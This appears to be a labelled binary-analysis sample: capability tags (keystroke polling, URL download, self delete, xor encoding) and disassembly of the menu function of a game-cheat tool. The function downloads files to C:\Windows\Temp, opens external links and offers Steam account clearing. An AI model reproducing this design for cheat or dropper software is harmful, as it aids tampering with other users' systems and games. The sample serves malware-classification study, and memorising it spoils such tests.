Function at 0x140047870
Capabilities:
Create process on windows
Download url
Encode data using xor
Generate random numbers using a mersenne twister
Log keystrokes via polling
Receive data
Self delete
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1460]
mov eax, 0x1560
call fcn.140051f80
sub rsp, rax
movaps xmmword [rsp + 0x1550], xmm6
movaps xmmword [rsp + 0x1540], xmm7
movaps xmmword [rsp + 0x1530], xmm8
movaps xmmword [rsp + 0x1520], xmm9
movaps xmmword [rsp + 0x1510], xmm10
movaps xmmword [rsp + 0x1500], xmm11
movaps xmmword [rsp + 0x14f0], xmm12
movaps xmmword [rsp + 0x14e0], xmm13
movaps xmmword [rsp + 0x14d0], xmm15
mov rax, qword [0x1400b8040]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov rsi, r9
mov ebx, r8d
mov rdi, rdx
mov dword [rsp + 0x60], ebx
xor r12d, r12d
mov ecx, dword [0x1400b92c8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14004793b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x1400b92c8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14004793b
mov byte [0x1400b927b], 1
jmp 0x140047948
cmp byte [0x1400b927b], r12b
je 0x14004a094
mov r14, qword [0x1400b9280]
test r14, r14
je 0x14004795d
mov rax, qword [r14 + 0x98]
jmp 0x140047960
mov rax, r12
cmp qword [rax + 0x48], r12
jne 0x14004796b
call fcn.140002210
call fcn.140003300
call fcn.14000ce90
mov r8, qword [0x1400b9280]
mov qword [r8 + 0x4a98], r12
mov qword [r8 + 0x4aa0], r12
mov dword [r8 + 0x4a8c], 1
movsx eax, bx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movsx eax, word [rsp + 0x62]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
or dword [r8 + 0x4a88], 3
movss dword [r8 + 0x4aa8], xmm1
movss dword [r8 + 0x4aac], xmm0
mov dword [r8 + 0x4a90], 1
mov r8d, 0x2b
mov rdx, rsi
mov rcx, rdi
call fcn.140012980
movss xmm11, dword [0x1400adab0]
xorps xmm10, xmm10
movss xmm12, dword [0x1400adbe0]
movss xmm13, dword [0x1400adb70]
movss xmm7, dword [0x1400adae4]
cmp dword [0x1400b80c0], 1
jne 0x140047d1a
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adba4]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adb78]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
or dword [rcx + 0x4a08], 1
mov dword [rcx + 0x4a20], 0x43520000
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, pe_nt_image_headers64
lea r8, [0x1400b93b0]
xor edx, edx
lea rcx, str.license
call fcn.14003a790
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adba8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adbf0]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
lea rcx, [0x1400ad384]
call fcn.140035670
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
mov dword [rsp + 0x40], 0x43960000
mov dword [rsp + 0x44], 0x43320000
mov dword [rsp + 0x60], 0x4380c000
mov dword [rsp + 0x64], 0x43138000
mov dword [rsp + 0x28], r12d
movss xmm0, dword [0x1400adb08]
movss dword [rsp + 0x20], xmm0
mov r9d, 0x3c646464
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
mov rcx, qword [rax + 0x2b0]
call fcn.14002dd20
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adbbc]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adb78]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x437a0000
mov dword [rsp + 0x44], 0x41f00000
lea rdx, [rsp + 0x40]
lea rcx, [0x1400ad388]
call fcn.140035fe0
test al, al
je 0x140047c1c
mov dword [0x1400b80c0], 2
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, dword [0x1400adbc8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adba0]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rbp + 0x1320], 0x3f800000
mov dword [rbp + 0x1324], 0x3f800000
mov dword [rbp + 0x1328], 0x3f800000
movss xmm0, dword [0x1400b92c4]
movss dword [rbp + 0x132c], xmm0
lea rdx, str.Forgot_license_
lea rcx, [rbp + 0x1320]
call fcn.1400356e0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016d00
test al, al
je 0x140047cfb
xor ecx, ecx
call fcn.14000bdd0
test al, al
je 0x140047cfb
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.https:__discord.gg_nkj5ux5b
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.14000bdd0
test al, al
mov dword [0x1400b92c4], 0x3f800000
jne 0x140047d1a
mov dword [0x1400b92c4], 0x3f19999a
mov r13d, 4
mov rax, qword gs:[0x58]
mov r15, qword [rax]
mov eax, dword [r15 + r13]
cmp dword [0x1400b951c], eax
jle 0x140047def
lea rcx, [0x1400b951c]
call fcn.140050068
cmp dword [0x1400b951c], 0xffffffff
jne 0x140047def
mov ecx, dword [0x1400b92c8]
cmp ecx, 0x70
jne 0x140047d65
mov eax, r12d
jmp 0x140047ddd
cmp ecx, 0x71
jne 0x140047d71
mov eax, 1
jmp 0x140047ddd
cmp ecx, 0x72
jne 0x140047d7d
mov eax, 2
jmp 0x140047ddd
cmp ecx, 0x73
jne 0x140047d89
mov eax, 3
jmp 0x140047ddd
cmp ecx, 0x74
jne 0x140047d95
mov eax, 4
jmp 0x140047ddd
cmp ecx, 0x75
jne 0x140047da1
mov eax, 5
jmp 0x140047ddd
cmp ecx, 0x76
jne 0x140047dad
mov eax, 6
jmp 0x140047ddd
cmp ecx, 0x77
jne 0x140047db9
mov eax, 7
jmp 0x140047ddd
cmp ecx, 0x78
jne 0x140047dc5
mov eax, 8
jmp 0x140047ddd
cmp ecx, 0x79
jne 0x140047dd1
mov eax, 9
jmp 0x140047ddd
mov eax, r12d
cmp ecx, 0x7a
setne al
add eax, 0xa
mov dword [0x1400b9508], eax
lea rcx, [0x1400b951c]
call fcn.14004fffc
lea rax, [0x140055674]
mov qword [rbp + 0x1360], rax
lea rax, [0x140055678]
mov qword [rbp + 0x1368], rax
lea rax, [0x14005567c]
mov qword [rbp + 0x1370], rax
lea rax, [0x140055680]
mov qword [rbp + 0x1378], rax
lea rax, [0x140055684]
mov qword [rbp + 0x1380], rax
lea rax, [0x140055688]
mov qword [rbp + 0x1388], rax
lea rax, [0x14005568c]
mov qword [rbp + 0x1390], rax
lea rax, [0x140055690]
mov qword [rbp + 0x1398], rax
lea rax, [0x140055694]
mov qword [rbp + 0x13a0], rax
lea rax, [0x140055698]
mov qword [rbp + 0x13a8], rax
lea rax, [0x14005569c]
mov qword [rbp + 0x13b0], rax
lea rax, [0x1400556a0]
mov qword [rbp + 0x13b8], rax
mov eax, dword [r15 + r13]
cmp dword [0x1400b94f8], eax
jle 0x140047ee0
lea rcx, [0x1400b94f8]
call fcn.140050068
cmp dword [0x1400b94f8], 0xffffffff
jne 0x140047ee0
mov ecx, dword [0x1400b92a0]
mov eax, r12d
cmp ecx, 1
je 0x140047ece
cmp ecx, 2
setne al
inc eax
mov dword [0x1400b9504], eax
lea rcx, [0x1400b94f8]
call fcn.14004fffc
lea rax, str.GreenOut_Theme
mov qword [rbp + 0x1340], rax
lea rax, str.BlueOut_Theme
mov qword [rbp + 0x1348], rax
lea rax, str.PinkOut_Theme
mov qword [rbp + 0x1350], rax
movss xmm6, dword [0x1400adb88]
movss xmm8, dword [0x1400adb0c]
movss xmm9, dword [0x1400adb90]
cmp byte [0x1400b92a8], r12b
je 0x1400481f4
mov rbx, qword [0x1400b9280]
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rbx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm8
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x437a0000
mov dword [rsp + 0x44], 0x437a0000
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rbx, qword [rbx + 0x4070]
movsxd r8, dword [rbx + 0x108]
mov rax, qword [rbx + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.settings
call fcn.140006df0
mov edi, eax
mov rdx, qword [rbx]
cmp dword [rdx + 0x40c4], eax
jne 0x140047fed
lea r8, str.settings
mov edx, 0xc
mov ecx, eax
call fcn.140020cf0
mov dword [rsp + 0x20], r12d
mov r9d, 1
lea r8, [rsp + 0x40]
mov edx, edi
lea rcx, str.settings
call fcn.14000f4d0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm10
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm9
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
lea rcx, str.Settings
call fcn.140035670
mov dword [rsp + 0x20], 0xc
lea r9, [rbp + 0x1360]
lea rdx, [0x1400b9508]
lea rcx, [0x1400ad3fc]
call fcn.1400381f0
mov dword [rsp + 0x20], 3
lea r9, [rbp + 0x1340]
lea rdx, [0x1400b9504]
lea rcx, str.Theme
call fcn.1400381f0
mov dword [rsp + 0x40], 0x435c0000
mov dword [rsp + 0x44], 0x42200000
lea rdx, [rsp + 0x40]
lea rcx, str.Save
call fcn.140035fe0
test al, al
je 0x1400481ef
mov ecx, dword [0x1400b9508]
test ecx, ecx
jne 0x1400480f4
mov dword [0x1400b92c8], 0x70
jmp 0x1400481a5
cmp ecx, 1
jne 0x140048108
mov dword [0x1400b92c8], 0x71
jmp 0x1400481a5
cmp ecx, 2
jne 0x14004811c
mov dword [0x1400b92c8], 0x72
jmp 0x1400481a5
cmp ecx, 3
jne 0x14004812d
mov dword [0x1400b92c8], 0x73
jmp 0x1400481a5
cmp ecx, 4
jne 0x14004813e
mov dword [0x1400b92c8], 0x74
jmp 0x1400481a5
cmp ecx, 5
jne 0x14004814f
mov dword [0x1400b92c8], 0x75
jmp 0x1400481a5
cmp ecx, 6
jne 0x140048160
mov dword [0x1400b92c8], 0x76
jmp 0x1400481a5
cmp ecx, 7
jne 0x140048171
mov dword [0x1400b92c8], 0x77
jmp 0x1400481a5
cmp ecx, 8
jne 0x140048182
mov dword [0x1400b92c8], 0x78
jmp 0x1400481a5
cmp ecx, 9
jne 0x140048193
mov dword [0x1400b92c8], 0x79
jmp 0x1400481a5
mov eax, r12d
cmp ecx, 0xa
setne al
add eax, 0x7a
mov dword [0x1400b92c8], eax
mov eax, dword [0x1400b9504]
inc eax
mov dword [0x1400b92a0], eax
cmp eax, 1
jne 0x1400481c1
xor ecx, ecx
call fcn.14002a6b0
jmp 0x1400481d2
cmp eax, 2
jne 0x1400481cd
call fcn.14002ac00
jmp 0x1400481d2
call fcn.14002adc0
movdqa xmm4, xmmword [0x1400ae150]
movups xmmword [r14 + 0x3a08], xmm4
movzx r8d, byte [0x1400b927f]
call fcn.140042220
call fcn.14000f8f0
cmp byte [0x1400b927a], r12b
je 0x140048520
mov rbx, qword [0x1400b9280]
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rbx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm8
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x437a0000
mov dword [rsp + 0x44], 0x437a0000
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rbx, qword [rbx + 0x4070]
movsxd r8, dword [rbx + 0x108]
mov rax, qword [rbx + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.tweaker
call fcn.140006df0
mov edi, eax
mov rdx, qword [rbx]
cmp dword [rdx + 0x40c4], eax
jne 0x1400482bd
lea r8, str.tweaker
mov edx, 0xc
mov ecx, eax
call fcn.140020cf0
mov dword [rsp + 0x20], r12d
mov r9d, 1
lea r8, [rsp + 0x40]
mov edx, edi
lea rcx, str.tweaker
call fcn.14000f4d0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm10
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm9
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
lea rcx, str.Tweaker
call fcn.140035670
mov dword [rsp + 0x40], 0x43660000
mov dword [rsp + 0x44], 0x42200000
lea rdx, [rsp + 0x40]
lea rcx, str.Re_Install_Steam
call fcn.140035fe0
test al, al
je 0x140048368
call fcn.1400458b0
mov dword [rsp + 0x40], 0x43660000
mov dword [rsp + 0x44], 0x42200000
lea rdx, [rsp + 0x40]
lea rcx, str.Clear_Steam_Accounts
call fcn.140035fe0
test al, al
je 0x140048392
call fcn.140045a80
mov dword [rsp + 0x40], 0x43660000
mov dword [rsp + 0x44], 0x42200000
lea rdx, [rsp + 0x40]
lea rcx, str.Delete_Config_File
call fcn.140035fe0
test al, al
je 0x1400483bc
call fcn.140045e20
mov dword [rsp + 0x40], 0x43660000
mov dword [rsp + 0x44], 0x42200000
lea rdx, [rsp + 0x40]
lea rcx, str.Order_Music
call fcn.140035fe0
test al, al
je 0x14004851b
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1314], 0xffffffff
mov dword [rbp - 0x6c], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x6c], eax
inc rdx
cmp rdx, 0x270
jb 0x140048400
mov dword [rbp - 0x70], 0x270
lea rcx, [rbp - 0x70]
call fcn.14004ef00
mov ecx, eax
lea rax, [rcx + rcx*2]
add rax, rax
cmp eax, 3
ja 0x140048457
nop dword [rax]
lea rcx, [rbp - 0x70]
call fcn.14004ef00
mov ecx, eax
lea rax, [rcx + rcx*2]
add rax, rax
cmp eax, 4
jb 0x140048440
shr rax, 0x20
add eax, 0x80000001
btc eax, 0x1f
cmp eax, 1
jne 0x140048472
lea rdx, str.https:__github.com_vedma1337_vedma1337_raw_main_X2Download.app_20__20Skrillex_20_20Damian_20_Jr._20Gong__20Marley_20__20Make_20It_20Bun_20Dem_20_5BOFFICIAL_20VIDEO_5D_20_192_20kbps_.wav
jmp 0x1400484b1
cmp eax, 2
jne 0x140048480
lea rdx, str.https:__github.com_vedma1337_vedma1337_raw_main_X2Download.app_20__20BALLOUT_20_320_20kbps_.wav
jmp 0x1400484b1
cmp eax, 3
jne 0x14004848e
lea rdx, str.https:__github.com_vedma1337_vedma1337_raw_main_morgenshtern_vot_tak_mp3.wav
jmp 0x1400484b1
cmp eax, 4
jne 0x14004849c
lea rdx, str.https:__github.com_vedma1337_vedma1337_raw_main_shteker_20x_20unki.wav
jmp 0x1400484b1
lea rdx, str.https:__github.com_vedma1337_vedma1337_raw_main_unki_20x_20realmans.wav
lea rcx, str.https:__github.com_vedma1337_vedma1337_raw_main_unki_dermo_320kbps_.wav
cmp eax, 5
cmovne rdx, rcx
mov byte [0x1400b927d], r12b
mov byte [0x1400b9279], r12b
mov byte [0x1400b927e], r12b
mov dword [0x1400b80c8], 0x40a00000
mov dword [0x1400b80cc], 0x40400000
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:WindowsTemp_sound.wav
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
mov r8d, 0x20001
lea rcx, str.C:WindowsTemp_sound.wav
call qword [sym.imp.WINMM.dll_PlaySoundA]
test eax, eax
je 0x140048511
mov byte [0x1400b927d], 1
mov dword [0x1400b80c0], 6
call fcn.14000f8f0
lea rsi, [0x1400b8690]
movss xmm15, dword [0x1400adbc0]
cmp dword [0x1400b80c0], 2
jne 0x14004937f
mov eax, dword [r15 + r13]
cmp dword [0x1400b9520], eax
jle 0x140048585
lea rcx, [0x1400b9520]
call fcn.140050068
cmp dword [0x1400b9520], 0xffffffff
jne 0x140048585
mov rax, qword [0x1400b9280]
movsd xmm0, qword [rax + 0x3fb0]
cvtpd2ps xmm0, xmm0
movss dword [0x1400b9528], xmm0
lea rcx, [0x1400b9520]
call fcn.14004fffc
mov rbx, qword [0x1400b9280]
movsd xmm0, qword [rbx + 0x3fb0]
cvtpd2ps xmm0, xmm0
movaps xmm8, xmm0
subss xmm8, dword [0x1400b9528]
movss dword [0x1400b9528], xmm0
lea rcx, [rbx + 0x4b10]
movss xmm0, dword [rbx + 0x38f8]
mov dword [rbp + 0x1320], r12d
movss dword [rbp + 0x1324], xmm0
lea rdx, [rbp + 0x1320]
call fcn.1400219d0
mov dword [rbx + 0x38f8], 0x3f800000
cmp byte [0x1400b94bc], r12b
jne 0x140048756
movss xmm0, dword [0x1400b86b0]
comiss xmm0, xmm7
jbe 0x140048608
subss xmm0, xmm7
movaps xmm6, xmm7
subss xmm6, xmm0
jmp 0x14004860b
movaps xmm6, xmm0
mov rbx, qword [0x1400b9280]
mov dword [rbp + 0x1320], r12d
movss xmm0, dword [rbx + 0x38f8]
movss dword [rbp + 0x1324], xmm0
lea rcx, [rbx + 0x4b10]
lea rdx, [rbp + 0x1320]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm6
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x98]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x9c]
addss xmm0, dword [0x1400adb94]
movss dword [rax + 0x118], xmm1
movss dword [rax + 0x11c], xmm0
mov byte [rax + 0x159], 1
mov eax, dword [0x1400b92a0]
cmp eax, 1
jne 0x1400486c1
movdqa xmm0, xmmword [0x1400ae220]
movups xmmword [rbp + 0x1330], xmm0
lea r9, [rbp + 0x1330]
jmp 0x1400486e6
cmp eax, 2
jne 0x1400486d0
movdqa xmm0, xmmword [0x1400ae2e0]
jmp 0x1400486d8
movdqa xmm0, xmmword [0x1400ae2d0]
movups xmmword [rbp + 0x1320], xmm0
lea r9, [rbp + 0x1320]
movss xmm0, dword [0x1400adaf8]
movss dword [rsp + 0x28], xmm0
movss xmm1, dword [0x1400adb10]
movss dword [rsp + 0x20], xmm1
movss xmm2, dword [0x1400adb14]
movss xmm1, dword [0x1400adb84]
call fcn.14003f2c0
mov ecx, 1
call fcn.140008650
movss xmm0, dword [0x1400b86b0]
subss xmm0, xmm8
movaps xmm1, xmm10
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fmaxf]
movss dword [0x1400b86b0], xmm0
comiss xmm10, xmm0
jb 0x14004937f
mov byte [0x1400b94bc], 1
jmp 0x14004937f
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
movss xmm6, dword [0x1400adc08]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov dword [rsp + 0x48], 0x3f800000
movss xmm0, dword [0x1400b92ac]
movss dword [rsp + 0x4c], xmm0
lea rdx, [0x1400ad46c]
lea rcx, [rsp + 0x40]
call fcn.1400356e0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016d00
test al, al
je 0x14004882c
xor ecx, ecx
call fcn.14000bdd0
test al, al
je 0x14004882c
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.https:__blume.pw
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.14000bdd0
test al, al
je 0x14004883c
movaps xmm0, xmm7
jmp 0x140048840
movaps xmm0, xmm11
movss dword [0x1400b92ac], xmm0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adb80]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov dword [rsp + 0x48], 0x3f800000
movss xmm0, dword [0x1400b92c0]
movss dword [rsp + 0x4c], xmm0
lea rdx, [0x1400ad484]
lea rcx, [rsp + 0x40]
call fcn.1400356e0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016d00
test al, al
je 0x14004890a
xor ecx, ecx
call fcn.14000bdd0
test al, al
je 0x14004890a
cmp byte [0x1400b927a], r12b
jne 0x14004890a
cmp byte [0x1400b92a8], r12b
sete byte [0x1400b92a8]
xor ecx, ecx
call fcn.14000bdd0
test al, al
jne 0x140048924
cmp byte [0x1400b92a8], r12b
jne 0x140048924
movaps xmm0, xmm11
jmp 0x140048927
movaps xmm0, xmm7
movss dword [0x1400b92c0], xmm0
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adb8c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
mov dword [rsp + 0x40], 0x3f800000
mov dword [rsp + 0x44], 0x3f800000
mov dword [rsp + 0x48], 0x3f800000
movss xmm0, dword [0x1400b92a4]
movss dword [rsp + 0x4c], xmm0
lea rdx, [0x1400ad488]
lea rcx, [rsp + 0x40]
call fcn.1400356e0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140016d00
test al, al
je 0x1400489f1
xor ecx, ecx
call fcn.14000bdd0
test al, al
je 0x1400489f1
cmp byte [0x1400b92a8], r12b
jne 0x1400489f1
cmp byte [0x1400b927a], r12b
sete byte [0x1400b927a]
xor ecx, ecx
call fcn.14000bdd0
test al, al
jne 0x140048a05
cmp byte [0x1400b927a], r12b
je 0x140048a09
movaps xmm11, xmm7
movss dword [0x1400b92a4], xmm11
addss xmm8, dword [0x1400b94b8]
movss xmm1, dword [0x1400adabc]
movaps xmm0, xmm8
call qword [sym.imp.api_ms_win_crt_math_l1_1_0.dll_fminf]
movaps xmm6, xmm0
movss dword [0x1400b94b8], xmm6
mov rbx, qword [0x1400b9280]
lea rcx, [rbx + 0x4b10]
movss xmm1, dword [rbx + 0x38f8]
mov dword [rsp + 0x40], r12d
movss dword [rsp + 0x44], xmm1
lea rdx, [rsp + 0x40]
call fcn.1400219d0
movss dword [rbx + 0x38f8], xmm6
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
mov rbx, qword [rax + 0x2b0]
mov dword [rsp + 0x40], 0x437a0000
mov dword [rsp + 0x44], 0x43a00000
mov dword [rsp + 0x60], 0x41a00000
mov dword [rsp + 0x64], 0x41a00000
mov dword [rsp + 0x28], r12d
movss xmm11, dword [0x1400adb48]
movss dword [rsp + 0x20], xmm11
mov r9d, 0x32323232
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.14002dd20
mov dword [rsp + 0x40], 0x43480000
mov dword [rsp + 0x44], 0x43960000
mov dword [rsp + 0x60], 0x43480000
mov dword [rsp + 0x64], 0x43960000
mov dword [rsp + 0x28], r12d
movss dword [rsp + 0x20], xmm11
mov r9d, 0x32323232
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call fcn.14002dd20
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
addss xmm0, dword [0x1400adb60]
addss xmm1, dword [0x1400adb6c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
call fcn.1400193c0
cmp dword [0x1400b92fc], r12d
sete dl
lea rcx, str.RUST
call fcn.14004f0b0
test al, al
je 0x140048ba6
mov eax, r12d
mov dword [0x1400b92fc], eax
jmp 0x140048bac
mov eax, dword [0x1400b92fc]
cmp eax, 1
sete dl
lea rcx, str.DECEIT
call fcn.14004f0b0
test al, al
je 0x140048bcc
mov dword [0x1400b92fc], 1
call fcn.140019500
mov rbx, qword [0x1400b9280]
mov rax, qword [rbx + 0x4070]
mov byte [rax + 0xcc], 1
mov rax, qword [rbx + 0x4070]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x9c]
movss xmm8, dword [0x1400adbec]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x98]
movss xmm9, dword [0x1400adbf4]
addss xmm0, xmm9
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm1
mov byte [rax + 0x159], 1
movdqa xmm6, xmmword [0x1400adcd0]
mov dword [rsp + 0x40], 3
movups xmm0, xmmword [rbx + 0x3a18]
movups xmmword [rsp + 0x44], xmm0
lea rcx, [rbx + 0x4b00]
lea rdx, [rsp + 0x40]
call fcn.140021b10
cmp dword [rbx + 0x4afc], 3
je 0x140048c77
movups xmmword [rbx + 0x3a18], xmm6
mov dword [rsp + 0x40], 0x438c0000
mov dword [rsp + 0x44], 0x42700000
mov rcx, qword [0x1400b9280]
mov rax, qword [rcx + 0x4070]
mov byte [rax + 0xcc], 1
mov rbx, qword [rcx + 0x4070]
movsxd r8, dword [rbx + 0x108]
mov rax, qword [rbx + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.combo
call fcn.140006df0
mov edi, eax
mov rdx, qword [rbx]
cmp dword [rdx + 0x40c4], eax
jne 0x140048ce4
lea r8, str.combo
mov edx, 0xc
mov ecx, eax
call fcn.140020cf0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rsp + 0x40]
mov edx, edi
lea rcx, str.combo
call fcn.14000f4d0
mov rax, qword [0x1400b9280]
or dword [rax + 0x4a08], 1
mov dword [rax + 0x4a20], 0x430c0000
lea rcx, str.Internal
mov qword [rbp + 0x1330], rcx
lea rax, str.External
mov qword [rbp + 0x1338], rax
mov qword [rbp + 0x1320], rcx
lea rcx, [0x1400550af]
cmp dword [0x1400b92fc], r12d
jne 0x140048d62
mov dword [rsp + 0x20], 2
lea r9, [rbp + 0x1330]
lea rdx, [0x1400b94d4]
